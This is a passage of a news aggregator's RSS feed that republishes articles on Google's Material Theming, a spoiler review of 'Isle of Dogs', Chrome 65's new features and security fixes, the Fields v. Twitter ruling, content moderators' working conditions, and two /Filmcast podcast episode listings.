Material Theming is the cure to the monotony. Once it’s plugged into Sketch — a prototyping app — developers have access to a variety of customization tools. Elements like button-type and sizing are determined by the developer. They have even more options for button size and shape, too, rather than the floating circle that usually suggests an action in an Android app. (That circle is called a FAB, or Floating Action Button — these buttons are called Extended FABs.)

There’s a layout grid that developers can take advantage of, to help maintain the look and feel of the app interface on every platform. So when you go to view that app on your iPad, or on the web, it looks and acts the same as on Android. You don’t have to change your usage patterns just because you’re on a different device.

The Material Theming plugin also offers machine learning smarts that make it easier for developers to build better-looking apps. Whenever the developer makes a change to the layout, the algorithm determines whether the overall design looks coherent. Android apps will now have no excuse for bad design, even if the person who coded it had no artistic proclivities. For developers, this algorithm is like having a sibling or a best friend with an eye for style always on hand. Except, in this case, it’s Google guiding developers towards how things should look.

Text is also a major part of Material Theming. By default, the tool comes loaded with Google’s Roboto font. But if a developer doesn’t want to stick with that, they can then upload their own font and scale at will. This lets them have more control over the app’s look and feel, beyond just the color schemes and button-types. Fonts can really set the mood for an app. After all, it doesn’t look like a very engaging app for kids if all the fonts look like the boring folder labels on a desktop computer.

There are more customizable interface elements coming down the line, as confirmed by Fast Co Design. Google plans to update the Material Theming tool on a monthly basis and may introduce the ability to edit things like drop shadows, strokes, and animations. There’s even talk of bringing realistic textures to the interface, which could shake up Android’s flat design. Nothing is for certain yet, but when it happens, it’ll be available to developers first in Material Theming.

Refinement, not a revolution

The Material Theming announcements aren’t just limited to it being an accessible tool for developers. It introduces better design schemes, so apps are prettier and easier to navigate. Material Theming isn’t a far departure from Material Design; it’s just a spruced up version, with better buttons, cleaner layouts, and improved organization.

I spoke with Pocketcasts’ Chief Product Officer, Russell Ivanovic, about Material Theming and what it means for the app’s future. (Full disclosure: we also record a podcast together.) Pocketcasts is featured on the Material Design blog as a case study, complete with mockups of what the popular podcasting app could look like under the new Material Theming guidelines. “The prototype feels and works better than the current version. It looks like a major overhaul when viewed with no context and no motion,” he wrote. “In practice, though, it feels like a refinement, not a revolution.”

The prototype shows a softer-looking Pocketcasts app, with a white interface instead of its current red one. In fact, the only color is found on interactive components — buttons and progress indicators — which attract eyes directly to where the action is happening. The navigation elements are also placed front and center towards the bottom of the interface, rather than hidden in the hamburger menu. Their sample uses new transitions, too, though they’re not visible in the image on the blog. Essentially, when the app goes to the player screen, parts of the app, like the bottom navigation bar, transition in continuity with the playback controls. Google describes it as clean transition out of sight.

“Material Design brought an amazing design system that Android was sorely lacking,” added Ivanovic, before noting that following the guidelines often made apps hard to differentiate. When I asked if it was because they were too confining, he replied, “It’s maybe that Google didn’t make it clear that these were guidelines to build on top of and branch out from — they’ve made that clear with Material Theming.”

More to come

Material Theming is more than just a tool to guide developers. At its crux, it’s a constantly-evolving design paradigm, though we don’t really know what’s next from Google. There are a few hints as to the different interface elements that might change down the line. And whenever they come through, developers will be able to implement them without disturbing your app experience. You might even start to see more apps across platforms designed in the “Google way.”

If you’re curious about experiencing the new Material design and what an app might look like after going through Material Theming, there are already a few apps sporting the new paradigm. On the web, you can see it with your inbox at Gmail, and on Android and iOS, Google Tasks is a great way to become acquainted with the experience.

]]>
https://briefnews.eu/how-googles-material-theming-will-change-your-android-experience/feed/ 0
‘Isle of Dogs’ Spoiler Review: Good Dogs, Problematic Material https://briefnews.eu/isle-of-dogs-spoiler-review-good-dogs-problematic-material/ https://briefnews.eu/isle-of-dogs-spoiler-review-good-dogs-problematic-material/#respond Mon, 02 Apr 2018 19:07:27 +0000 http://briefnews.eu/isle-of-dogs-spoiler-review-good-dogs-problematic-material/ isle of dogs spoiler review

(In our Spoiler Reviews, we take a deep dive into a new release and get to the heart of what makes it tick…and every story point is up for discussion. In this entry: Wes Anderson’s Isle of Dogs.)

With Isle of Dogs, Wes Anderson returns to the magical world of stop-motion for the first time since Fantastic Mr. Fox. The results are frustrating. On one hand, Anderson has crafted a genuinely emotional, frequently funny adventure focused on man’s best friend. On another hand, Anderson has, for some inexplicable reason, decided to use the film to turn Japanese culture into a punchline.

No Future On Trash Island

In the not-too-distant-future, a sudden outbreak of dog flu has put a large population of Japan’s dogs on the chopping block. Megasaki’s Mayor Kobayashi (Kunichi Nomura) has a solution – banish all dogs to Trash Island. Anti-dog sentiment runs rampant, and soon all the puppers are hauled off to live among the mountains of waste, with the presumption that they’ll die out. But the dogs survive, and form their own packs.

One such pack consists of former house pets – Rex (Edward Norton), former dog food commercial star King (Bob Balaban), former baseball mascot Boss (Bill Murray) and the gossip-loving Duke (Jeff Goldblum). Also in the pack (sort of): Chief (Bryan Cranston), a gruff stray who is prone to biting humans who dare to attempt to pet him.

This pack, and hundreds of other dogs, have been scraping out a rough existence on Trash Island for six months when a human drops in out of the blue – literally. A small plane crashes on the island, flown by young boy Atari (Koyu Rankin). Atari is the adopted nephew of Mayor Kobayashi, and has come in search of his dog and bodyguard Spots (Liev Schreiber).

The pack agrees to help Atari search Trash Island for Spots, with Chief begrudgingly coming along. Throughout the journey, Chief’s icy heart begins to thaw a bit as he grows closer to Atari.

Meanwhile, Mayor Kobayashi and his corrupt administration are hatching a plan to exterminate the dogs. Kobayashi comes from a long-line of cat lovers, and it was actually Kobayashi and his goons who infected all the dogs with dog flu. A group of student activists, lead by exchange student Tracy Walker (Greta Gerwig) have caught on to Kobayashi’s plan, and are racing against the clock to save the pups.

Lessons are learned, tears are shed, and we get to spend a good amount of time with some very good dogs.

isle of dogs review

They’re Good Dogs: What Works

Like Fantastic Mr. Fox, Isle of Dogs is a visual wonder. In fact, it’s an even bigger technical achievement than Mr. Fox, which was set in a rural, and frequently empty, setting. Here, Anderson’s team of stop-motion animators have crafted a several huge, expansive settings – from the futuristic cityscape of Megasaki to the ever-shifting landscape of Trash Island. Every moment of the film features stunning visuals – rolling seas that sparkle like diamonds; billowing tall grass on an abandoned golf course; a dog drop-off point overflowing with empty cages. There’s one scene set within an igloo constructed of lit, multi-colored sake bottles that’s breathtaking to behold. 

And then there are the dogs themselves, each with their own unique visual traits. Like Mr. Fox, and like the Rankin/Bass stop-motion movies of yesterday, the fur on the dogs is almost always moving; bristling, be it in a breeze or from the touch of an animator. It’s almost hypnotic – you can get lost in all that ruffling fur.

The animation is more fluid here than in Mr. Fox, which often featured movements that felt jerky and haphazard. Yet the animation alone isn’t what brings these dogs to life. The voice work, handled by mostly Anderson mainstays and a few new additions, is stellar across the board. Bryan Cranston in particular gives one of the very best performances of his career (I’m serious!) as the rough, standoffish Chief. Chief does not care for humans, yet slowly comes around to appreciating Atari. Cranston sells this slow change in the character perfectly – it never seems abrupt or forced. There’s a heartfelt amount of emotion in the way Cranston delivers certain lines, such as a tear-inducing story about the one disastrous time he was adopted by a family of humans. They don’t give out big time award nominations for voice work, but if they did, Cranston would be a shoo-in for the performance he gives here. I sincerely hope Anderson works with him again – in live-action.

The rest of the dog pack handles themselves nicely as well. Edward Norton is bossy and smarmy, in just the right way, as the default leader Rex. Bill Murray’s Chief doesn’t have as much to do, but the actor still conveys the same droll Bill Murray charm that he’s patented for decades. Bob Balaban is just the right mix of nervous and pensive as King. And Jeff Goldblum is at his Jeff Goldblumiest as Duke, a dog who loves gossip and frequent begins conversations with, “Did you hear about…?”

While Isle of Dogs is very much a Wes Anderson movie, it often signifies an evolution in how Anderson tells a story. There are more quiet moments here than in previous films; even the soundtrack, which features a killer score courtesy of Alexandre Desplat, goes light on the pop music that pepper Anderson’s other films. Anderson gets a lot of guff – sometimes deservedly so – for what can be seen as his twee-ness, but when he wants to hit a very specific emotional beat, he usually nails it.

Think of how blunt and simple, and yet how effective, Ben Stiller’s line, “I’ve had a rough year, Dad,” comes across at the end of The Royal Tenenbaums. Such a fact-of-the-matter utterance shouldn’t connect as well as it does – and yet…it does. The same can be said for several moments in Isle of Dogs. When Atari first meets Spots, Anderson stages a scene where the boy and the dog begin communicating with each other via a special headset. Atari is whispering something we can’t really hear, but the camera goes in tight on Spot’s face, and the dog keeps saying, “I can hear you,” over and over again, as tears well up in his eyes. It’s almost overwhelmingly emotional in its simplicity.

Another simple moment that somehow destroyed me, emotionally: Chief takes a fancy to another dog on the island – a former showdog named Nutmeg (Scarlett Johansson). She asks Chief if he’ll help Atari on his quest to find Spots. “Why should I?” Chief asks. “Because he’s a twelve year old boy,” Nutmeg replies. “Dogs love those.” Here, Anderson holds for a beat of silence, and in that silence there’s some sort of unspoken, beautiful truth that punched me in the gut.

The same goes for a scene near the end of the film, where Spots transfers his duties as Atari’s bodyguard over to Chief, and Chief – who has spent nearly the entire film talking about how much he hates humans – accepts the job. These moments, coupled with bursts of humor – a recurring gag involves a pug (voiced by Tilda Swinton) the other dogs see as psychic, when in fact she gets all her psychic visions from watching TV, is consistently hilarious – make Isle of Dogs sincerely effective.

And yet…

Continue Reading Isle of Dogs Spoiler Review >>

The post ‘Isle of Dogs’ Spoiler Review: Good Dogs, Problematic Material appeared first on /Film.

]]>
https://briefnews.eu/isle-of-dogs-spoiler-review-good-dogs-problematic-material/feed/ 0
Chrome 65 arrives with Material Design extensions page and new developer features https://briefnews.eu/chrome-65-arrives-with-material-design-extensions-page-and-new-developer-features/ https://briefnews.eu/chrome-65-arrives-with-material-design-extensions-page-and-new-developer-features/#respond Tue, 06 Mar 2018 23:00:51 +0000 http://briefnews.eu/chrome-65-arrives-with-material-design-extensions-page-and-new-developer-features/


Google today launched Chrome 65 for Windows, Mac, Linux, and Android. Additions in this release include Material Design changes and new developer features. You can update to the latest version now using the browser’s built-in silent updater or download it directly from google.com/chrome.

With over 1 billion users, Chrome is both a browser and a major platform that web developers have to consider. In fact, with Chrome’s regular additions and changes, developers have to keep up to ensure they are taking advantage of everything available.

Chrome 65 comes with a few visual changes. The most obvious is related to Google’s Material Design mantra. The extensions page has been completely reamped to follow it:

Chrome will soon also be getting updated Material design dialogues. You can test out the changes yourself by enabling the flag #secondary-ui-md in chrome://flags, or just wait until it launches in Chrome 66.

Next on the visual changes are favicons that appear next to website addresses in omnibox suggestions. This is supposed to make it easier to identify websites:

I say “supposed to” as I couldn’t get this feature to work. My dropdown menu is still full of search icon and document icons. Your mileage will vary, and this tweak will likely take a while to roll out completely.

Next up, Chrome 65 replaces the Email Page Location link in Chrome for Mac’s File menu with a Share submenu. As you might expect, Mac users can use this submenu to share the URL of a current tab via installed macOS Share Extensions.

Speaking of Macs, Chrome 65 is also the last release for OS X 10.9 users. Chrome 66 will require OS X 10.10 or later.

But one of the biggest improvements to Chrome still hasn’t arrived. Chrome 64 was supposed to stop sites from autoplaying content with sound. The feature was not turned on for that release and still has not been turned on today with Chrome 65’s launch, even though it does work in non-stable versions.

Chrome 64 included an option to completely disable audio for whole sites, which was originally scheduled for Chrome 63. Google appears to be running behind schedule — we’ll let you know when Chrome disables all autoplaying content with sound.

Moving on to developer features, Chrome 65 includes the CSS Paint API, which allows developers to programmatically generate an image, and the
Server Timing API, which allows web servers to provide performance timing information via HTTP headers. At the time of publishing, Google did not share any major changes for end users, but we’ll update you if that changes.

The CSS Paint API, also known as CSS Custom Paint, means developers can now use the new paint() function to reference a paint worklet that will draw the image. Google suggests using the API to make the DOM tree smaller and transferring significantly less data compared to an image.

The Server Timing API gives developers a more complete performance picture that includes the speed of both the client and the server. Until now, developers interested in measuring the performance of their web applications could use the Navigation Timing and Resource Timing APIs to request timing data for the document and its resources, but had no way to query the server for details about its response time to the client.

Developers will also want to know that Chrome 65 includes an update to the V8 JavaScript engine: version 6.5. The release includes an untrusted code mode, support of streaming compilation for WebAssembly code, and speed improvements. Check out the full list of changes for more information.

Other developer features in this release (some are mobile-specific):

  • Developers can now use the :any-link pseudo-selector to apply CSS properties to all unvisited or visited hyperlink elements.
  • The syntax for specifying HSL/HSLA and RGB/RGBA coordinates for the color property now match the CSS Color 4 spec.
  • Developers can use display:contents to generate boxes for an element’s children and pseudo-elements without generating the parent box.
  • To complement assignedNodes(), the <slot> element now has an assignedElements() method, which returns only the element nodes assigned to a given slot.
  • Chrome now supports the HTMLAnchorElement.relList property to indicate the relationship between the resource represented by the <a> element and the current document. Thanks to Samsung for this contribution!
  • Developers can now use the sync-xhr feature policy to selectively enable and disable the use of Synchronous XMLHttpRequest.
  • To match compatibility with the TLS spec, Chrome now supports the draft-23 version of the TLS 1.3 protocol.
  • Developers can use Request.destination to evaluate which resource their service worker is fetching.
  • As WebIDL was deprecated, PerformanceResourceTiming, PerformanceLongTaskTiming, and TaskAttributionTiming now support the toJSON method to convert objects to JSON.
  • To protect users against cross-origin information leakage, Chrome will ignore the presence of the download attribute on anchor elements with cross-origin attributes.
  • To match compatibility with the HTML spec, document.all is no longer overwritable.
  • As previously announced, Chrome 65 will not trust certificates issued from Symantec’s Legacy PKI after December 1st, 2017, and will result in interstitials. This will only affect site operators who explicitly opted-out of the transition from Symantec’s Legacy PKI to DigiCert’s new PKI, and does not apply to the previously disclosed independent sub-CAs from this infrastructure.

For a full rundown of what’s new, check out the Chrome 65 milestone hotlist.

Chrome 65 also implements 45 security fixes. The following ones were found by external researchers:

  • [$ 5000][758848] High CVE-2018-6058: Use after free in Flash. Reported by JieZeng of Tencent Zhanlu Lab on 2017-08-25
  • [$ 5000][758863] High CVE-2018-6059: Use after free in Flash. Reported by JieZeng of Tencent Zhanlu Lab on 2017-08-25
  • [$ 3000][780919] High CVE-2018-6060: Use after free in Blink. Reported by Omair on 2017-11-02
  • [$ 3000][794091] High CVE-2018-6061: Race condition in V8. Reported by Guang Gong of Alpha Team, Qihoo 360 on 2017-12-12
  • [$ 1000][780104] High CVE-2018-6062: Heap buffer overflow in Skia. Reported by Anonymous on 2017-10-31
  • [$ N/A][789959] High CVE-2018-6057: Incorrect permissions on shared memory. Reported by Gal Beniamini of Google Project Zero on 2017-11-30
  • [$ N/A][792900] High CVE-2018-6063: Incorrect permissions on shared memory. Reported by Gal Beniamini of Google Project Zero on 2017-12-07
  • [$ N/A][798644] High CVE-2018-6064: Type confusion in V8. Reported by lokihardt of Google Project Zero on 2018-01-03
  • [$ N/A][808192] High CVE-2018-6065: Integer overflow in V8. Reported by Mark Brand of Google Project Zero on 2018-02-01
  • [$ 4000][799477] Medium CVE-2018-6066: Same Origin Bypass via canvas. Reported by Masato Kinugawa on 2018-01-05
  • [$ 2000][779428] Medium CVE-2018-6067: Buffer overflow in Skia. Reported by Ned Williamson on 2017-10-30
  • [$ 2000][798933] Medium CVE-2018-6068: Object lifecycle issues in Chrome Custom Tab. Reported by Luan Herrera on 2018-01-04
  • [$ 1500][799918] Medium CVE-2018-6069: Stack buffer overflow in Skia. Reported by Wanglu & Yangkang(@dnpushme) of Qihoo360 Qex Team on 2018-01-08
  • [$ 1000][668645] Medium CVE-2018-6070: CSP bypass through extensions. Reported by Rob Wu on 2016-11-25
  • [$ 1000][777318] Medium CVE-2018-6071: Heap bufffer overflow in Skia. Reported by Anonymous on 2017-10-23
  • [$ 1000][791048] Medium CVE-2018-6072: Integer overflow in PDFium. Reported by Atte Kettunen of OUSPG on 2017-12-01
  • [$ 1000][804118] Medium CVE-2018-6073: Heap bufffer overflow in WebGL. Reported by Omair on 2018-01-20
  • [$ 1000][809759] Medium CVE-2018-6074: Mark-of-the-Web bypass. Reported by Abdulrahman Alqabandi (@qab) on 2018-02-06
  • [$ 500][608669] Medium CVE-2018-6075: Overly permissive cross origin downloads. Reported by Inti De Ceukelaire (intigriti.com) on 2016-05-03
  • [$ 500][758523] Medium CVE-2018-6076: Incorrect handling of URL fragment identifiers in Blink. Reported by Mateusz Krzeszowiec on 2017-08-24
  • [$ 500][778506] Medium CVE-2018-6077: Timing attack using SVG filters. Reported by Khalil Zhani on 2017-10-26
  • [$ 500][793628] Medium CVE-2018-6078: URL Spoof in OmniBox. Reported by Khalil Zhani on 2017-12-10
  • [$ TBD][788448] Medium CVE-2018-6079: Information disclosure via texture data in WebGL. Reported by Ivars Atteka on 2017-11-24
  • [$ N/A][792028] Medium CVE-2018-6080: Information disclosure in IPC call. Reported by Gal Beniamini of Google Project Zero on 2017-12-05
  • [$ 1000][797525] Low CVE-2018-6081: XSS in interstitials. Reported by Rob Wu on 2017-12-24
  • [$ N/A][767354] Low CVE-2018-6082: Circumvention of port blocking. Reported by WenXu Wu of Tencent’s Xuanwu Lab on 2017-09-21
  • [$ N/A][771709] Low CVE-2018-6083: Incorrect processing of AppManifests. Reported by Jun Kokatsu (@shhnjk) on 2017-10-04
  • [819271] Various fixes from internal audits, fuzzing and other initiatives

Google thus spent at least $ 34,500 in bug bounties for this release. As always, the security fixes alone should be enough incentive for you to upgrade.

Google releases a new version of its browser every six weeks or so. Chrome 66 will arrive by mid-April.

Chrome 65 for Android was also released today with the following changelog:

  • Set language preferences for web content in Settings > Languages
  • Turn on the prompt for simplified view for all supported articles in Settings > Accessibility settings
  • Share and delete downloads more easily on the Downloads page

That update is rolling out gradually over the next few weeks via Google Play.

]]>
https://briefnews.eu/chrome-65-arrives-with-material-design-extensions-page-and-new-developer-features/feed/ 0
Appeals court: Twitter can’t be sued for “material support” of terrorism https://briefnews.eu/appeals-court-twitter-cant-be-sued-for-material-support-of-terrorism/ https://briefnews.eu/appeals-court-twitter-cant-be-sued-for-material-support-of-terrorism/#respond Fri, 02 Feb 2018 03:31:15 +0000 http://briefnews.eu/appeals-court-twitter-cant-be-sued-for-material-support-of-terrorism/

Enlarge (credit: Anadolu Agency / Getty Images)

An appeals court has ruled that Twitter is not liable for the deaths of two American military contractors who were killed in Jordan in 2015.

In a Wednesday decision, the 9th US Circuit Court of Appeals agreed with a lower court’s ruling in 2016 for dismissal of the case, Fields v. Twitter.

As Ars reported, the plaintiffs claimed that Twitter violated the Anti-Terrorism Act by providing Twitter accounts to the terrorist group. The plaintiffs, who represent the estate of the two deceased men, did not allege that any specific tweets instigated the terrorist to kill the US contractors, and they did not allege that ISIS recruited or trained the terrorist over Twitter. However, they did claim that Twitter provided “material support” for terrorism by allowing ISIS and its sympathizers on the social media network.

Read 4 remaining paragraphs | Comments

]]>
https://briefnews.eu/appeals-court-twitter-cant-be-sued-for-material-support-of-terrorism/feed/ 0
Content moderators for tech giants like Facebook and YouTube reveal what it’s like to sift through some of the most disturbing material on the internet https://briefnews.eu/content-moderators-for-tech-giants-like-facebook-and-youtube-reveal-what-its-like-to-sift-through-some-of-the-most-disturbing-material-on-the-internet/ https://briefnews.eu/content-moderators-for-tech-giants-like-facebook-and-youtube-reveal-what-its-like-to-sift-through-some-of-the-most-disturbing-material-on-the-internet/#respond Thu, 28 Dec 2017 09:43:56 +0000 http://briefnews.eu/content-moderators-for-tech-giants-like-facebook-and-youtube-reveal-what-its-like-to-sift-through-some-of-the-most-disturbing-material-on-the-internet/ people using computers (smaller)Adam Berry/Getty Images

  • People who are hired to sift through online postings that have been flagged on platforms like Facebook and YouTube say the job takes a tremendous psychological toll.
  • The moderators are frequently tasked with watching disturbing video and images of child sexual abuse, violence, animal cruelty, and more.
  • One former moderator described the role as “watching the content of deranged psychos … who don’t have a conscience.”

A legion of temporary employees who are tasked with moderating content on platforms like Facebook and YouTube say they were unprepared for the emotional and psychological toll the job would take.

The content moderators are hired to sift through online posts, including pictures and video that were flagged as inappropriate. Several of those employees shared their experiences in a Wall Street Journal report published Wednesday night.

Moderators said they watched images of war victims who had been “gutted,” and “child soldiers engaged in killings.” A former moderator who worked at Facebook recalled watching video of a cat thrown into a microwave, The Journal reported.

Shaka Tafari, who moderated content on the Whisper messaging app, said he was “alarmed” by the number of messages that contained references to rape, or included images of bestiality and animal abuse.

“I was watching the content of deranged psychos in the woods somewhere who don’t have a conscience for the texture or feel of human connection,” Tafari told The Journal.

Tech giants oversee thousands of content moderators — jobs that are typically staffed through temporary employment agencies and have a high turnover rate due to the nature of the work. But that turnover could also be attributed to the emotional stress of the role, according to former employees interviewed by The Journal.

Some of those people claimed they had few tools to deal with the aftereffects of a job that required them to consume some of the most depraved material on the internet. Content moderators at Facebook and Microsoft are offered various avenues for psychological counseling, The Journal reported, but some of the employees said it was not enough. Moderators typically left the job within a year or less.

Content moderation became a hot-button issue on Facebook in particular this year after the fallout from the 2016 US election, when it was revealed that Russia leveraged the platform to execute influence campaigns that boosted then-candidate Donald Trump and disparaged his Democratic opponent, Hillary Clinton.

Though Facebook CEO Mark Zuckerberg initially balked at the notion, the social-media platform later admitted that Russia-based operatives published some 80,000 posts on the platform over a two-year period.

The matter gained heightened urgency this week when The Washington Post reported that Russia’s election-influence efforts would likely continue, as officials recently warned that digital platforms are still vulnerable to such misuse.

NOW WATCH: Here’s what Apple cofounder Steve Wozniak thinks of the net-neutrality battle — and why it matters

Feedburner

]]>
https://briefnews.eu/content-moderators-for-tech-giants-like-facebook-and-youtube-reveal-what-its-like-to-sift-through-some-of-the-most-disturbing-material-on-the-internet/feed/ 0
/Filmcast Ep. 445 – The Shape of Water (GUEST: Kristy Puchko from Riot Material) https://briefnews.eu/filmcast-ep-445-the-shape-of-water-guest-kristy-puchko-from-riot-material/ https://briefnews.eu/filmcast-ep-445-the-shape-of-water-guest-kristy-puchko-from-riot-material/#respond Thu, 14 Dec 2017 10:03:08 +0000 http://briefnews.eu/filmcast-ep-445-the-shape-of-water-guest-kristy-puchko-from-riot-material/ the shape of water footage

Devindra and Jeff team up with Kristy Puchko to figure out The Shape of Water. Also, they discuss Netflix’s Voyeur and Godless, and Jeff discovers the wonders of Toast of London.

You can always e-mail us at slashfilmcast(AT)gmail(DOT)com, or call and leave a voicemail at 781-583-1993. Also, like us on Facebook!

Download or Play Now in your Browser:

SHOWNOTES

  • Intro
What We’ve Been Watching (03:30)
  • Krist : Voyeur
  • Jeff: Toast of London
  • Devindra: Mosaic , Godless
Featured review: (33:25)
  • The Shape of Water
  • SPOILERS (55:26)
Credits
  • Our sponsor this week is Casper.
  • Visit casper.com/filmcast and use promo code “filmcast” for $ 50 off any mattress purchase.
  • Our music sometimes comes from the work of Adam Warrock. You can download our theme song here. Our Slashfilmcourt music comes from Simonmharris.com. Our spoiler bumper comes from filmmaker Kyle Hillinger.
  • If you’d like advertise with us or sponsor us, please e-mail slashfilmcast@gmail.com.
  • Contact us at our voicemail number: 781-583-1993
  • You can donate and support the /Filmcast by going to slashfilm.com/filmcast/ and clicking on the sidebar “Donate” links! Thanks to all our donors this week!

The post /Filmcast Ep. 445 – The Shape of Water (GUEST: Kristy Puchko from Riot Material) appeared first on /Film.

/Film

]]>
https://briefnews.eu/filmcast-ep-445-the-shape-of-water-guest-kristy-puchko-from-riot-material/feed/ 0
/Filmcast Ep. 444 – Lady Bird (GUEST: Kristy Puchko from Riot Material) https://briefnews.eu/filmcast-ep-444-lady-bird-guest-kristy-puchko-from-riot-material/ https://briefnews.eu/filmcast-ep-444-lady-bird-guest-kristy-puchko-from-riot-material/#respond Thu, 07 Dec 2017 02:59:06 +0000 http://briefnews.eu/filmcast-ep-444-lady-bird-guest-kristy-puchko-from-riot-material/ lady bird 1

Devindra and Jeff team up with Kristy Puchko to discuss Lady Bird. Also, they try to figure out if The Disaster Artist is any good, pontificate on the point of method acting, and consider what a Tarantino Star Trek would be like.

You can always e-mail us at slashfilmcast(AT)gmail(DOT)com, or call and leave a voicemail at 781-583-1993. Also, like us on Facebook!

Download or Play Now in your Browser:

SHOWNOTES

  • Intro
What We’ve Been Watching (01:38)
  • Kristy: Rift, Bad Genius
  • Jeff: Jim & Andy the Great Beyond
  • Devindra: The Disaster Artist, Marvelous Mrs. Maisel , The Villainess
Featured review: (53:22)
  • Lady Bird
  • SPOILERS (1:13:40)
Credits
  • Our sponsor this week is Hello Fresh.
  • Visit hellofresh.com and use promo code “Filmcast30” for $ 30 off your first week of deliveries.
  • Our music sometimes comes from the work of Adam Warrock. You can download our theme song here. Our Slashfilmcourt music comes from Simonmharris.com. Our spoiler bumper comes from filmmaker Kyle Hillinger.
  • If you’d like advertise with us or sponsor us, please e-mail slashfilmcast@gmail.com.
  • Contact us at our voicemail number: 781-583-1993
  • You can donate and support the /Filmcast by going to slashfilm.com/filmcast/ and clicking on the sidebar “Donate” links! Thanks to all our donors this week!

The post /Filmcast Ep. 444 – Lady Bird (GUEST: Kristy Puchko from Riot Material) appeared first on /Film.

/Film

]]>
https://briefnews.eu/filmcast-ep-444-lady-bird-guest-kristy-puchko-from-riot-material/feed/ 0